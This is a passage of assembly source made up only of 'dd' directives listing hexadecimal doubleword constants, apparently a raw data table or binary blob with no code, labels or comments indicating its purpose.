40297561h, 62D23810h, 0ABAD76Eh dd 6686EF70h, 369818C0h, 399C0700h, 6241F581h, 1E765E6Bh dd 0FCED40BDh, 89F76544h, 0D788EA64h, 6AF45E1Dh, 3F130AE5h dd 1C85CAFh, 0BE7C64EBh, 0ED0C806Eh, 0F74A9F7Ah, 98690D3h dd 6C709CF5h, 313682D5h, 0CBF082C1h, 0BCE55559h, 760D0992h dd 0CC92B3BDh, 0E5D1B416h, 773B5AFCh, 34CD031Bh, 3B06F91Fh dd 0FD04F0C2h, 0D558E917h, 9363F222h, 0FA40DE04h, 184331BAh dd 77CE6BFDh, 5C93ED23h dd 0F2A1EDACh, 0A8352B5Eh, 65E09C00h, 0BF054126h, 2C231B91h dd 0F8F94A11h, 26A685D8h, 0F7F0E9B7h, 0D301ED85h, 97CD85Ah dd 3295209Ch, 0ECC44AC2h, 0E9243CFBh, 912295Fh, 0D9B771BFh dd 3D343B19h, 0FE298AAh, 0D1021EBEh, 0CC8068E2h, 1BB26D4h dd 0E1146451h, 0E4DF324Dh, 4E2C6C8h, 294F7A67h, 0D0C4BC4Ch dd 7459260Ch, 88090910h, 10755BF9h, 3B537D30h, 0EF0FF1B7h dd 8F3204Bh, 6804D1A3h, 2DD85AC3h, 1AD660EAh, 12373225h dd 504B0E7Ah, 4CBD6917h, 388886B7h, 97DD283Bh, 0E429F7Fh dd 0A577CB68h, 1CECA7E8h, 18BECD5Bh, 0A69FD3BEh, 974F5CD4h dd 86F002D0h, 0F6679C2h, 63E990BBh, 4EE9126h, 0F0255562h dd 136948CBh, 87AFC19h, 5E18DA33h, 3E0A87C2h, 0FA1662DEh dd 0ED4F9DA4h, 0B6093F74h, 0C7EBD05Bh, 8A94680Fh, 81B765EAh dd 8517A8FEh, 725E686Bh, 0CDC01052h, 4B2F4CF4h, 40BE8D32h dd 6A15177Dh, 0F1814F01h, 7D4559E3h, 85F0EAA5h, 0C35BD396h dd 29DC1784h, 7EC62C89h, 3CADEC53h, 84FBA556h, 0C0ED2D6Fh dd 4BE55F28h, 8066240Fh, 0C52B2FE0h, 0F08A114Bh, 675B0D02h dd 227F4BDDh, 191DAF4h, 0CCE2C480h, 0E3E0E4ECh, 0B35AE69Fh dd 2715AC5Bh, 0EB800AB0h, 0C34DA670h, 0B1B2CCB1h, 0F6875A5Bh dd 3FF843F7h, 1806F51h, 2CF02879h, 5AEE91D3h, 1D6406F9h dd 12422568h, 0BA8F12F1h, 33CBE7DDh, 0F2EC2B9Bh, 507B0987h dd 30096974h, 0CF7542E2h, 8E712514h, 20653A7h, 55AF768Ah dd 4014EA57h, 0B7BB2E8h, 0DF8902ADh, 0D1621ED9h, 42997592h dd 5284740Ah, 0FE02A8E8h, 0A0F280C2h, 506A6020h, 27E9F4B4h dd 0F91A2835h, 2D15B67Fh, 0E8E202E9h, 58507D5Eh, 0C8CFB159h dd 2038A614h, 0AF099FBAh, 980C3CD7h, 0B905E59Dh, 867B10F6h dd 0AB1A5D2Ch, 91973F0Ch, 8085EC37h, 7A62FDEBh, 97CB013h dd 3385493Ah, 56968880h, 82B7F7B4h, 0F9BADA15h, 9FBB017Eh dd 8229CA4Fh, 1A0D4B36h, 71970027h, 0A5B047D5h, 109843F8h dd 36E6EF78h, 4B9DD7F4h, 1A3812B2h, 894A8160h, 0EACB60DEh dd 465CED02h, 7456E911h, 517B2F13h, 5E860D0Bh, 111451F4h dd 0D0585FEh, 0ADB3D94Bh, 931D5AE4h, 5C8B207Fh, 76244614h dd 77410055h, 0E28102B7h, 0B178F70Ch, 0B31923Fh, 298C2A11h dd 0FF545E09h, 20467A27h, 595EA926h, 847A088Dh, 12E9CAB5h dd 30B30B68h, 6714484Ch, 68C5ABE6h, 8205D4A9h, 0BB009390h dd 0B7E36B7h, 5BDA317Fh, 90A56204h, 326A9DB7h, 247D895h dd 151001EEh, 9D88952h, 32C27A4Bh, 97425558h, 5F3B8577h dd 0D729A047h, 0B23A88FDh, 0A4AECAF2h, 927879ADh, 2A810BDEh dd 0B1F0E5E4h, 7EE3E74Dh, 0A762E5FEh, 514C979Bh, 5B2589D4h dd 0FB279365h, 436492F1h, 92C380B0h, 289CAAC1h, 5259449h dd 76A68EBh, 409284A0h, 78000437h, 0B353F828h, 4CE380C4h dd 620C76C7h, 680ACBFEh, 22DE92Dh, 81535D94h, 0B73CE8FEh dd 909E80CAh, 0B044CB65h, 57F70952h, 0AF5F3753h, 122212Eh dd 2A8578ADh, 87F16DA6h, 0F31FC507h, 0F4CE1840h, 5968E6AFh dd 0C99F4978h, 0B05CA42Ch, 55177F62h, 9027ADE6h, 329FAEFh dd 21C10B67h, 80054E5Eh, 0E16DF8ACh, 9448E3E8h, 0AA10F44Ch dd 4E158D9h, 221F2199h, 0D0ABF8C7h, 1E4858E7h, 7CF5984h dd 0B7277B7h, 823E74C2h, 32A5290h, 437A3F78h, 245ECB04h dd 0D0BA5838h, 9895F30Eh, 313BC914h, 79D132BBh, 5AFDDA66h dd 0BF96C09Fh, 1E3067FAh, 3E545CB7h, 13664FA7h, 8A50E82Dh dd 71250DEFh, 36E16F27h, 21502720h, 31875128h, 0ED0F30DDh dd 0ACFD9202h, 5DEE21D5h, 0EF985894h, 6083EC1Ch, 0C927036Dh dd 0C6590245h, 27EA21C5h, 0E299026Ch, 960A8809h, 242E84ADh dd 2EAAF020h, 0D9F70D27h, 96226004h, 7D772813h, 4EDA4DF0h dd 539C6288h, 7F551741h, 7EA3FD16h, 0E8AFE985h, 0F75E3FF4h dd 24C5EDB7h, 0C5710BF8h, 94FF956h, 7C3F7860h, 9718FE88h dd 0EB25F5D2h, 6B618F5Dh, 0B0B47832h, 58DCBE87h, 0FD5ABAE9h dd 0D4180DD1h, 5B35326Eh, 89BC15FDh, 3A58A6E9h, 834C39EAh dd 0AF0FC2DFh, 2C4FC9C8h, 203C1BA0h, 0B83F9243h, 218B004Eh dd 0BE05D8F7h, 47DE004Ah, 66087F0Dh, 174AE967h, 835F3B02h dd 14ABFFC2h, 0B8DDF04h, 89240431h, 14CFD9F0h, 0E5FD39F8h dd 7E9FE701h, 415159DAh, 2B422AC8h, 29D6254Bh, 1EE0B8FFh dd 0EC8BBA43h, 0C868B7E6h, 353F85BEh, 0BAE1DE05h, 13CD0DAAh dd 5F31DFE9h, 2CE28461h, 8316AFA8h, 8A026B28h, 0B243715Ch dd 0E9D08056h, 81D5A87Ch, 17FE94F2h, 19F4020h, 0A2B8E9FDh dd 0F083F69Ch, 0EAD8D483h, 643C54D1h, 0C104AE31h, 541336B0h dd 395AB80Ah, 92466286h, 3A16C608h, 42825496h, 147068AAh dd 0F4C34C5Dh, 98734AA2h, 634850C2h, 55F50643h, 0EF8848E2h dd 8532276Ah, 0F6B94358h, 8CAC0D5h, 0AD68C482h, 3C180500h dd 29112478h, 4BD917BBh, 1DEC5B05h, 0AC98F85Ah, 0A80F4BD9h dd 0A849DEFFh, 0A73051ECh, 47085573h, 0FD82744h, 1DC8E05Eh dd 0E63EE168h, 5451174Ch, 683C36E3h, 68F133AFh, 0C0786E82h dd 7D4D427Dh, 13691106h, 0E90B879Dh, 5D71085h, 2F260405h dd 4564BF55h, 56D29895h, 49E92F54h, 50EDC3E8h, 1C640B16h dd 0A2C53AA0h, 88717608h, 712FD7F3h, 1F54EBE2h, 57816642h dd 0A7843DCEh, 4802C4Ah, 9DE1F65Ch, 6882EDAEh, 9E552E62h dd 533D6334h, 0EEB9F729h, 2BD73ABBh, 2698DEE3h, 895880Eh dd 0FE349D8Ch, 7614D0BAh, 5140F830h, 0B23838BCh, 0F6D98992h dd 35C6055Ah, 13BA7F03h, 880102Ah, 0F448D14Ch, 8C62985h dd 0D025FCECh, 0F6DA9262h, 8D0618DCh, 2F7C0C7Fh, 0E6184826h dd 0CEA5023Ah, 41CD01F8h, 412A1648h, 22185199h, 0C70B6F27h dd 27F25E08h, 1109081Ah, 0F88BE604h, 227D6CCh, 0C916D9C4h dd 0C9856369h, 0BED7F150h, 0FFCC9C4Bh, 41860C44h, 5BC93F80h dd 0A9AE0EE8h, 15DCE8BAh, 512D80FDh, 441F0B00h, 9D4BF905h dd 0A2A19039h, 86D92092h, 0D2C2FED5h, 3827E808h, 25394C58h dd 0AC5B6076h, 0FCD84E30h, 8396DF49h, 0C555894Eh, 0D2F8F62Bh dd 0F1B3969Fh, 949BAD89h, 0BDE7E65Bh, 70A120BEh, 826B6902h dd 0C4A9A7E9h, 30017881h, 0E1433798h, 1B1F338Eh, 77174936h dd 765E10C2h, 0FE856FFAh, 92C55DC3h, 68E44220h, 4FAF15CCh dd 252D2B01h, 2F457017h, 9CC30180h, 8F6650D7h, 7FBF86A0h dd 0D4A11AB5h, 5450848Ah, 0C47DBC58h, 660BA3FDh, 0A0609244h dd 5592BA3Fh, 22714C3Eh, 0EFE5200h, 5AD00963h, 53AEDBAh dd 7BD60580h, 6D045E9h, 793092B3h, 5525FDCh, 0B8478FD7h dd 0B33527A9h, 12462568h, 0C3623954h, 2EFF6C13h, 0AD06DF7Eh dd 3F9EF4D0h, 828E82D2h, 2056D87Eh, 5407B1E3h, 5153565Bh dd 0C2C8EDA4h, 43A3A68h, 416C3350h, 308D0DE2h, 2F18D9B0h dd 0E15A74BCh, 1D62D58h, 4D0B0DD8h, 0FA1DBEE9h, 0F9AD272Ah dd 2160BD92h, 18954218h, 80A09A76h, 8FEEB09h, 0B9125F96h dd 95496031h, 920B459Ch, 580D981Ch, 0C741DB90h, 48DCA1E9h dd 133FB129h, 0F1B9215Fh, 0F6E5A9DAh, 0FC4C312h, 30C687AAh dd 529D04D8h, 809BB60Ah, 380CDECEh, 41A2870Dh, 3E01617Eh dd 66AF7212h, 0E92440FEh, 0B9801107h, 0B4B5F5Eh, 4FC84801h dd 810E902Ch, 0F41968C5h, 6CA4EDEFh, 26643FCCh, 7F127F32h dd 68DE78FFh, 933BCD31h dd 2F82CFF1h, 0D6F759CEh, 0C0DACB55h, 4F2370ACh, 544BC29h dd 6D7778B9h, 3C7605EFh, 0E0A9B52Fh, 650B7F59h, 25BDA89h dd 709DE983h, 0EEC0066Ch, 4DEF608h, 380E8981h, 6A137C54h dd 0BCC3F488h, 19CCF0B6h, 9FB37953h, 0BE187859h, 0ECC05C06h dd 7ECF208h, 58E78877h, 0DDE93128h, 0DEC13901h, 7ECD42C9h dd 5259711Ah, 0ACF355D5h, 0E9023364h, 0CCA017FCh, 805966ECh dd 28FBEB38h, 0A16F1E3h, 5EC588E9h, 0F5A904FBh, 7314BF66h dd 0C4C531DEh, 129001EDh, 2C370E02h, 7264E43h, 24904E8h dd 0ECB2AC9Eh, 3D681860h, 0D05CCD39h, 1A31CBDh, 0D44638B9h dd 2DCF310Fh, 0B5511672h, 0D64044B3h, 943AB5E6h, 15A71855h dd 0FA40B4AFh, 0F08924DFh, 80145C8Eh, 0B87384C3h, 111A9F10h dd 0E93AEE01h, 5A9D2465h, 0BCC18007h, 0B8B5CE88h, 2F58EEB9h dd 4A680861h, 1B1E3341h, 299D7D09h, 0AFD7BF86h, 5B3F93C8h dd 0D0B51A5Fh, 0A12AA31h, 58E2C044h, 52F0905Fh, 0F89283D7h dd 0AB242941h, 55BD800h, 59C11409h, 0EF249C76h, 0EA3180B0h dd 22C06855h, 5D709118h, 5F54E912h, 4B90E3D6h, 0ABE478B8h dd 0BA481668h, 0BE660C9Eh, 0F1FC22E1h, 567E41BDh, 0B3E116A5h dd 0BCBE4729h, 1C4E3415h, 0DB12D495h, 0EA18A16h, 0D3D4E32Eh dd 21B52CEEh, 9398D35Fh, 0FDB040Bh, 42A0585h, 92AA1768h dd 2D489D23h, 69B7FC88h, 9435104Eh, 9276F33Fh, 0E98408B6h dd 5885E01Dh, 66FD8813h, 0FB02CB33h, 49BFACF5h, 0D9B25B2Bh dd 0F1259882h, 0EA0537FAh, 309F3D87h, 0C957AEC0h, 1F42C3Bh dd 4B0D03A4h, 0E9D9DE53h, 0C40397Dh, 84843DC6h, 31804E6Bh dd 4CDFE52h, 7DD57BA8h, 84DDEC4Bh, 9CEC7BC0h, 509F29Eh dd 9E019876h, 33F3E96Eh, 2939713Eh, 0BA99414Fh, 5440A7A5h dd 0BE805283h, 2B7F9E77h, 91A8214Ah, 1695ADB4h, 8FC9FC05h dd 0AF8E883Bh, 0F353E40h, 0A8F66822h, 0D5DCC946h, 0C35AD872h dd 0D235CED1h, 0A528A804h, 0ED89683h, 624CBD1Ch, 9CD86D0Bh dd 3C2D7C0Bh, 0CB4FF4C1h, 3046C4C0h, 29737D17h, 0AB2CC482h dd 19F740Ah, 5EB57869h, 581C6F21h, 4DD508C0h, 5514E90Eh dd 5EE06996h, 59A950Ah, 57805A51h, 0D8666DBFh, 23E92567h dd 0C35C83E0h, 0B4408390h, 43045001h, 801D1710h, 1236AC06h dd 0F3A22B74h, 8A82E90Bh, 0D0C1E79Bh, 7B14247Ah, 92EB8F13h dd 18D35F08h, 31086CBFh, 0C0D3D09Dh, 0E20ACD6h, 87184528h dd 810647FDh, 2F5F39E5h, 36F4702Bh, 0CD05FA8Eh, 3F3704F1h dd 6FC5AC1Dh, 89010E6Eh, 0C684F09h, 572E0C82h, 48D64398h dd 3CEF310Ch, 97509C7h, 8502BF2Fh, 560BD679h, 90320B09h dd 0FBB8FE18h, 4E9D6501h, 0DB354840h, 0B74D10CCh, 115FF742h dd 1E18326h, 643AB40h, 297B1739h, 0E09A08FAh, 0ADD93B3Fh dd 6C985441h, 5A5B5440h, 940C84A7h, 0C9CCB246h, 753E350Bh dd 8D95C0Ah, 3005CFF9h, 2DF859E8h, 6AF602A2h, 0E999C8C9h dd 3EA89C8Eh, 4B2CE50Fh, 0B2C0E02Bh, 99F611BBh, 7783694Eh dd 0EAA5F15Eh, 0D64868ADh, 2D283419h, 0ED509E77h, 0CA955B07h dd 0F3B161B8h, 58800A3Ch, 0E8753035h, 7DE6465Fh, 5FDB5D13h dd 3EA5BB4Ah, 967D7B89h, 0D9785F3Fh, 0A52D2F8Eh, 2AD7296Ah dd 0E909738Fh, 3AAB7986h, 16978256h, 126DE15Eh, 3A10B08h dd 925A2C6Eh, 759E6241h, 0CA2E4093h, 0C3025C51h, 0C18AC680h dd 0CE2B983Eh, 4A6D5895h, 0CBE45E53h, 4EA8F656h, 0DD90A521h dd 0B55D6C04h, 0E9A270FFh, 519F0E6Ch, 186569B2h, 0AFBF7F2Ch dd 0D249425h, 0CE11E958h, 0A4807E96h, 7CB63553h, 0F056256Fh dd 3FA216D1h, 0F7A2D9F2h, 0C592C155h, 0E89B122Eh, 0E5D12820h dd 59D2B725h, 2255C9C0h, 0E0662B7Ch, 20E92F65h, 0BBEA8C76h dd 0E74D7863h, 0A02AEA07h, 4CE280CAh, 52C212FEh, 14B258F6h dd 0B1015131h, 0E9CA28A2h, 626283F7h, 6208F20Eh, 31037568h dd 0E0690F7Ch, 306853CAh, 8D25487h, 567CE751h, 485CE300h dd 0B5E94AFDh, 9977DD22h, 74870637h, 0E89FCCAFh, 1326EB8Ah dd 123BE754h, 2F34F198h, 0FF8D762h, 98E21910h, 8F20509Bh dd 400D80A6h, 78196707h, 27C3D8F7h, 0E03D5B31h, 0BFA3506h dd 2E2F4E7Dh, 8C72107h, 0F12FE804h, 46EEE1ECh, 52951C08h dd 62749986h, 8BEA72E9h, 17DA1E57h, 29B180E9h, 7C706FE8h dd 97DE38E9h, 5C92D6CDh, 5B02BE08h, 4CFD04EDh, 0E3580E51h dd 9FFEC1CCh, 0E4E3C427h, 7E063E35h, 0A09F5FF8h, 0B19050B0h dd 0CB08D09h, 5A327F28h, 3A1F3661h, 0AA115CF6h, 0AC407446h dd 1BEE522Ch, 1CD84870h, 125EFC4Fh, 8F8848D3h, 35A9647Dh dd 6B524F34h, 4B5D7A5Fh, 4DABEDEFh, 815031Dh, 0EE011D14h dd 8831Eh, 7B2CD81Ch, 8DEEE975h, 57A89AABh, 6D14524Eh dd 40A2CE01h, 68175908h, 67BC6B7Eh, 8F71B9A5h, 24A7EBE9h dd 0C083D3B0h, 0EA5D029Eh, 5E5D69DAh, 2F3980D5h, 4B7330E4h dd 1250E809h, 8AD8A03Ah, 8C744E41h, 0AC9CF8A4h, 80A3B601h dd 0CECCE4EEh, 706F98F2h, 0BCF348C8h, 66F7C302h, 0C07F5859h dd 4AC7E9EEh, 0C2E4AD9Bh, 5E5EF529h, 68D6CC42h, 590B5725h dd 0F047926Fh, 6E48BF7Eh, 24439DEh, 7C16F0F7h, 83C07F19h dd 5939BA52h, 683B0B13h, 79A7C6E1h, 4DB80B56h, 67C2A42h dd 0EC026524h, 4140710Ah, 2B6DA0DFh, 547D8092h, 78B5A443h dd 97DE841h, 0EFE942D6h, 18D5B4C2h, 9DF5F36Ch, 273D985Bh dd 0B2B9601Dh, 9A1FEEC2h, 6DC2B53Eh, 20284FDBh, 312481B2h dd 0F913B4D5h, 68C1C9A8h, 0DF7B19DAh, 48A5BF1h, 5E1014ADh dd 0DE9D5CAFh, 32E03BD3h, 520D0768h, 5E586CCAh, 42D01D42h dd 0BBB6C269h, 68E18425h, 25B2370Fh, 74D0A740h, 0E9331C6Ch dd 9BF6030h, 278E8614h, 29595B10h, 0AAC82A3Dh, 0FCBE31E9h dd 2F59CBF5h, 256808E0h, 61C67211h, 0B3137001h, 0DAF75A10h dd 3CC130h, 0C1713216h, 7C6808E2h, 0E9315954h, 2212934Bh dd 2FB53DAAh, 0E90C7B8Ah, 8034759Eh, 0D743C126h, 4CF35432h dd 8D57A9FCh, 18A13CA6h, 685832CCh, 983ECB27h, 173EC03h dd 0E9814C59h, 206B5EFBh, 0CC0BC1E9h, 5D12675Ch, 4C652689h dd 3E83BE01h, 0F520474Bh, 453C1365h, 4CE1057Eh, 0F9964DB7h dd 0A64FC856h, 0BA4E00B8h, 0B30A93E9h, 3BA330A3h, 83C3881Ch dd 0A5ACE9DEh, 2BCEDB16h, 0E69D2005h, 0D23175AEh, 62D894BEh dd 65083500h, 9A257D14h, 403CC04Fh, 0BFFFD2Dh, 0E1A847FDh dd 2B531F68h, 804D0F5h, 92FF0BAEh, 0FABA6D60h, 7AAA7F4Ch dd 258DD859h, 7F76135Eh, 0B1EF492Ch, 0C0761469h, 0A8F6CF3Fh dd 0F1FD5A7Eh, 2C72B4Ah, 0FA86B650h, 0EA01257Ah, 8E204AC5h dd 0FC162F27h, 21FFC447h, 313A74A5h, 41115868h, 2E37020Eh dd 80DC0A22h, 0E2050AD0h, 0B84EEE34h, 72D515Eh, 0DB7AD661h dd 0EAB67173h, 6B15B6B0h, 8B3D3FBBh, 0E90B7C4Fh, 0BC0F7424h dd 504FB360h, 887716B0h, 0EE8109C6h, 9F7EA502h, 48B3320Bh dd 49746825h, 28A4E59h, 0E3EF0034h, 17E077Fh, 0E955CF0Bh dd 0D3E12065h, 5EED68E0h, 3D9ACD67h, 0EA2D2D50h, 360BC1F5h dd 7AC17674h, 0C4E14FFCh, 8A06FEC0h, 66D31B7h, 303D9DF1h dd 0F9900C75h, 1234E33Ah, 21F424AAh, 204207F0h, 0D4C8091Eh dd 811CE08Dh, 3E13E704h, 3CC031EEh, 0B946BD8h, 1856E928h dd 7F695D74h, 7E001EABh, 7D6959C0h, 3C92E1BDh, 0ED2948F0h dd 1CD01116h, 685D0C14h dd 5AE98D84h, 531E1F6h, 0B4D9FCEDh, 0F28055FCh, 6CB04AF4h dd 7F40B698h, 34AA19BDh, 2EB7A485h, 0DC9DE81Dh, 50597AD9h dd 705FFE26h, 0CE1CE94Ah, 83D36C95h, 1B4CF090h, 0B0297F2Fh dd 1A0660DCh, 504A2540h, 0A71FE83Dh, 0F1BE6895h, 5F4E0B71h dd 92752994h, 0F98BF52Ch, 0D127F67Eh, 6718EB1Dh, 0F4827313h dd 0A75F5292h, 3E635B98h, 0F77539AFh, 13876E0Fh, 88BC4E64h dd 6A18334Ah, 1A442E67h, 7F6E060Ch, 1243DBF7h, 58B8800Bh dd 0DE4180B6h, 1719D855h, 7178B2E9h, 2C2FF337h, 611DC44Ah dd 583A3CBBh, 7685728h, 0A86B92A0h, 4AE6C080h, 5FB48703h dd 2415B486h, 0C3315C12h, 0F4FDDFD7h, 0CDE9078Bh, 8FB8EA20h dd 183BB075h, 4100722Dh, 38C13510h, 0EC486B56h, 0A814057Fh dd 0B101E966h, 0DF366953h, 0D9C3D052h, 0E8544B68h, 0E2DACB14h dd 20FCF379h, 7B2600FEh, 0BF5771C5h, 0FE0B3CBAh, 233DE907h dd 90F52CB5h, 7EC208AFh, 0EF6E658h, 59EA80D2h, 6188F269h dd 0D8823DFFh, 0E5E9A52Ch, 5733BEC9h, 128634F5h, 56BF7812h dd 4AD6CA18h, 81C19098h, 4B0F0C0Ch, 0F44988AFh, 0A2147141h dd 3EA2B710h, 0DE33935Ah, 0D32FCAB9h, 0F32999E1h, 969256EEh dd 0A2F5A29Dh, 0C53001DCh, 0EDEBA66h, 0CE5ED80h, 5CC7E0EFh dd 0EC205876h, 37406813h, 39280C60h, 1158B59Eh, 0C64A50B0h dd 0E4F8CDC4h, 3E3D888Dh, 1D4C34E0h, 80696640h, 2259E8E5h dd 0AB30E96Bh, 9968C1CDh, 1BC6BF4Fh, 0C5A92BFEh, 0FF02B64h dd 0EEFDD376h, 40404E09h, 0FCD6F621h, 0A4B65F28h, 0CE5FE619h dd 413F2629h, 0C354901Eh, 0E0F33F35h, 7E203C20h, 48ECB70Ch dd 9885452Dh, 0BE95939Fh, 3C204D3Dh, 388803E2h, 9F5A585Bh dd 17AD20B6h, 32796B68h, 3240B2BEh, 1EDDD58Ah, 0B2290C5Ah dd 8219C103h, 65AC902Bh, 564BFE27h, 0C65242A0h, 0E3ED6EFCh dd 91EDEB4Ah, 0DF83985Ah, 0E3F8264Eh, 8F9ADD8h, 0D9C03BB7h dd 8475876Fh, 0C1D0A06Eh, 0FED9B69Dh, 0A7C7A0E9h, 43AB9EE8h dd 0F695DB68h, 18552507h, 827DC7D8h, 2D63A89h, 0C0F66358h dd 0BC5C7D5h, 0A8B04170h, 145B800Ch, 1408187Ah, 0FF15B01Eh dd 0D5888077h, 0F6C20FB4h, 0A3C084D3h, 4DFD81Dh, 0CCE1EF80h dd 28049EC7h, 0ED77E9F9h, 1EA311F4h, 0D2671636h, 0B85A809Bh dd 59244350h, 0B715443Ch, 57FD1EF9h, 10FB530Dh, 4A728760h dd 0EFCC412Eh, 21B64030h, 0E3DEFA42h, 8A0BC527h, 10601EDh dd 384AF2E5h, 0B0189845h, 0B89440Ch, 6AE9206Fh, 286CC962h dd 0EB296F6h, 2BDA2F97h, 899D40FCh, 70D09D08h, 126FE02Dh dd 155EF7h, 9C648BC1h, 0D64FE922h, 83A17817h, 2A8FB53Bh dd 5D0B95E7h, 0D932CD01h, 7A49F574h, 85681795h, 309AB25Ah dd 0FDBE7BA3h, 23792545h, 809FC952h, 1DE7F641h, 28F9E15h dd 57B6AA1h, 71FC9F81h, 0F729D8DEh, 88271B0h, 6C2BBCAh dd 0D958AA2Bh, 5658EC72h, 82A82D39h, 5516E909h, 0F839338Bh dd 5900F290h, 0E5D90566h, 0EED029D0h, 0E90EC42Dh, 0C8C894E2h dd 0DF41644Eh, 6027D97Eh, 5880B705h, 0A7684C52h, 5A6C6409h dd 0FD03C976h, 0BD72053Dh, 9861C4AEh, 7A187B98h, 8A9A6380h dd 0F9BB2CA8h, 338D3CCEh, 6A0C557Eh, 4EE9A3A4h, 0FAD0E150h dd 4B9005C6h, 3853D19Fh, 6ADC12ADh, 9D025DCBh, 51194CC1h dd 273DAFE4h, 0D2F86CF6h, 0B8316701h, 774E9F0h, 57C25154h dd 804F047Ah, 0F5DF45B5h, 0E229232Fh, 1A54B3h, 2A3C3F27h dd 0A5276855h, 9670D167h, 0D63BA2C8h, 0AFF584C7h, 0F71749E8h dd 1CEAACD1h, 0F84BB126h, 593E5689h, 94533B21h, 0E24856B7h dd 0F0080503h, 22ADE927h, 10D7DBF3h, 4B2094EDh, 6DE98078h dd 0E10B77E7h, 0F9FD8CE9h, 0CFBAADF9h, 654216D3h, 6A8901A9h dd 59786030h, 0FE58CA40h, 4FBEBAh, 0E5F4805Bh, 92E55253h dd 61FFCB18h, 3F2555ABh, 0D3681D21h, 1166E62Fh, 0BD104FFBh dd 0D65C260Dh, 0AEBCC9E4h, 0A757E85Ah, 0A4BD7AE2h, 1704F381h dd 1190EF4Eh, 0B87E5668h, 14D220A2h, 6762A480h, 31CFF512h dd 0A926090Bh, 203EF5C9h, 0A6DE916h, 6338BBF3h, 17BD4316h dd 2720A34Dh, 688B6557h, 0F6566BC1h, 520BEA12h, 30548E14h dd 4A3CCA4Fh, 29C95DBCh, 4A1E0575h, 67AAC453h, 108DC2DAh dd 0EB7194FCh, 0E9414A0Ah, 213B11AEh, 7AC56Fh, 5FF1815Bh dd 0FB3DD6CAh, 0CD6AF231h, 8A109D08h, 7DFB024h, 6CEB8068h dd 32971E78h, 0E9F36315h, 0A7210A41h, 0FDC770C4h, 4812A03Ah dd 14167A98h, 5FE01B69h, 42E09F3h, 825FAB77h, 0B9A47E5h dd 0A07D235Fh, 4018DA21h, 0C02C6036h, 5506056Ch, 62BD76CCh dd 0AAC26014h, 9DB2542h, 4AB590D0h, 0B060D52Ah, 92BDB66Bh dd 3CAB071Eh, 0BE30F657h, 5E6972EAh, 0E9168046h, 0C7A6B22Ah dd 30ECDF1h, 0C0FEE90Ch, 5F5F0660h, 0B7C4417Dh, 0F0F82841h dd 0C101305Bh, 38E18058h, 0DEE67068h, 0B5A56228h, 0ABC85805h dd 2025412Fh, 0D141901Eh, 3921DAF9h, 0EA1208BBh, 1B4EF045h dd 6692F641h, 9FC91F0h, 7237A7FEh, 0F2D0201Fh, 5BC441B7h dd 0DA42C2A7h, 594A4456h, 4A0AEDA6h, 25BC20B9h, 7FE3E235h dd 0DC2D6565h, 8614EC6Bh, 5AF86D6h, 0BFF5881Dh, 4E845E85h dd 89B221F0h, 0B3E13E43h, 80E53D60h, 5390F301h, 0C62506FAh dd 5475E95Dh, 0BDE77730h, 7FC1C3B9h, 0ACAD8365h, 96BDF10h dd 5F816850h, 70E6E19Ah, 50CA1BFh, 1D8A612h, 55888254h dd 0A429130Ah, 2FE55A31h, 0E22BD2DDh, 0B9E90B0Eh, 1744711Eh dd 1612A378h, 3BB99DF7h, 2BB6E50h, 29EC4EF4h, 0CC755BDEh dd 20BD4B0Fh, 0CE9EE89h, 0B45E0295h, 8E81770Ah, 0CC6EC580h dd 0F5F25DEDh, 0DF6010DDh, 660A8616h, 524F105Ah, 935136A8h dd 40B2D76Ah, 0FBE1433h, 894BD1F4h, 946E92F5h, 660D8096h dd 32B0E41Dh, 0ED119027h, 0EF830BF4h, 2048781Ah, 61E5D588h dd 0D5353E7Dh, 991269B8h, 0E2D4D093h, 711FD34Eh, 4607F581h dd 0CD6038B4h, 0CEA4522h, 4EDC115h, 6602D412h, 27E939E8h dd 324DD96h, 537788B9h, 0C2C79B60h, 16DD499Fh, 0A0D08902h dd 19269AC6h, 0F83F95EAh, 580841EBh, 6856FC01h, 0DB55FD0Bh dd 58267E11h, 4ABF8D53h, 9338020Ch, 5BA7767Ch, 377082EAh dd 204C5B4Dh, 7C29710h, 8A5DDF8Bh, 0AE050138h, 9BA1D421h dd 0E945D37Ah, 5C4AC8DAh, 584967D0h, 595D2CC1h, 404EC500h dd 0B2EEE935h, 0CD594BFEh, 3C0EF1EEh, 95BD02B0h, 8D27CB12h dd 4BCC72A3h, 0F8EC2DADh, 1125AD5Ah, 0B5AF4EBAh, 19FBCBB1h dd 5B98CA2Ah, 0E1D47644h, 0C035B700h, 6C102E7h, 25EF8007h dd 386FCBCFh, 0EC4AD80Ch, 0E2FF3C93h, 539CA7B3h, 0D4839A5Bh dd 0FC1B927Fh, 2CEDA87Fh, 40A6036Ch, 1CD7FE1h, 8049DA97h dd 74F5908h, 0E7C1D7F7h, 2A63F08h, 5A0E2481h, 72E977B8h dd 2CAF51C5h, 0C309CD77h, 27EE0Fh, 0EF3FFB4Dh, 0DC70B57Fh dd 68614F9Ch, 8C7A3692h, 5B89807Ch, 8D2AE171h, 73B8202Eh dd 7560DAAAh, 0A00F1FEDh, 0D3D901CEh, 0B08D6F86h, 53704BD5h dd 0AB3D04EFh, 0B0500081h, 0E5012CECh, 8E3041FEh, 311D642Ch dd 0BA45D3F5h, 0B7CAD221h, 5F5312F4h, 7FC7C058h, 364B7C0Bh dd 8013FA5h, 2DFF42E9h, 495E2D38h, 836FFBA8h, 4C9FC14Dh dd 97246596h, 3F4BEABEh, 0E63A33DBh, 2835510Bh, 990C084h dd 0C9F97458h, 0CCAF9BFEh, 0D9A649ABh, 8A07875Ch, 0C53A5E19h dd 613DAB7Dh, 97CDC4F8h dd 840AEC27h, 0F3C3907Eh, 625803A5h, 0DE983AAEh, 0E9C43133h dd 0F201A08h, 0E92EA001h, 0F5B969E7h, 7EA72955h, 5F096B0Ah dd 65DF2EE2h, 5F92BF4Ah, 2A1FCD06h, 983A79E5h, 0D54F7F89h dd 929F5EB2h, 395ECD21h, 0FFC710ADh, 0FCED5028h, 9E829EDEh dd 79D84F80h, 5F42C269h, 93BDCBD9h, 39EA0FE4h, 3E566570h dd 0D027112Ah, 0D2A75F45h, 68513F41h, 1591561h, 7DD93FF9h dd 2DC070D6h, 7BD8ADB1h, 0E5082333h, 0C9ECFB5Ah, 0DA3DF8A1h dd 0F5757905h, 7E26AC5Dh, 9E9E1BE6h, 311076Bh, 77C531ECh dd 676E1799h, 7D3C401h, 0F9835B08h, 1FE914B0h, 880E3BB6h dd 0C297EBDAh, 71335DE8h, 9CFE1DE2h, 0B0042916h, 0F3A417F1h dd 0AE503EBBh, 17E55D25h, 0C8BF0F80h, 96540268h, 67A863FFh 